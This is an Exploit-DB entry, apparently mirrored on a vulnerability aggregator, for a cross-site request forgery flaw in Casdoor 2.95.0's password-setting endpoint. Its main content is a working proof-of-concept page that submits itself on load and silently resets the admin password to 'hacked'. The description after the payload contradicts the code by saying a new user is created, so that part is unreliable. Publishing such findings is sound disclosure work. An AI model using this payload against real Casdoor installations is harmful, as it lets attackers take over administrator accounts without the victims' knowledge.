Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)

🗓️ 29 Oct 2025 00:00:00Reported by Van Lam NguyenType

exploitdb🔗 www.exploit-db.com👁 122 Views

Casdoor 2.95.0 CSRF flaw enables unauthorized password change via the set password endpoint when a user is logged in.

Reporter	Title	Published	Views	Family All 20
ATTACKERKB	CVE-2023-34927	22 Jun 202313:15	–	attackerkb
CNNVD	Casdoor 跨站请求伪造漏洞	22 Jun 202300:00	–	cnnvd
CVE	CVE-2023-34927	22 Jun 202300:00	–	cve
Cvelist	CVE-2023-34927	22 Jun 202300:00	–	cvelist
Exploit DB	Casdoor < v1.331.0 - '/api/set-password' CSRF	2 Apr 202400:00	–	exploitdb
Exploit DB	Casdoor 2.55.0 - Cross-Site Request Forgery (CSRF)	16 Sep 202500:00	–	exploitdb
EUVD	EUVD-2023-1883	3 Oct 202520:07	–	euvd
Github Security Blog	Casdoor Cross-Site Request Forgery vulnerability	22 Jun 202315:30	–	github
NVD	CVE-2023-34927	22 Jun 202313:15	–	nvd
OSV	GHSA-RWCP-QRWG-56CG Casdoor Cross-Site Request Forgery vulnerability	22 Jun 202315:30	–	osv

# Exploit Title: Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)
# Application: Casdoor
# Version: v2.95.0 (2025-10-22)
# Date: 2025-10-23
# Exploit Author: Van Lam Nguyen 
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor/archive/refs/tags/v2.95.0.zip
# Tested on: Windows
# CVE : CVE-2023-34927 ( latest yet to be assigned)

Overview
==================================================
Casdoor v2.95.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
newPassword: hacked

29 Oct 2025 00:00Current

7High risk

Vulners AI Score7

CVSS 3.16.5

EPSS0.00404

SSVC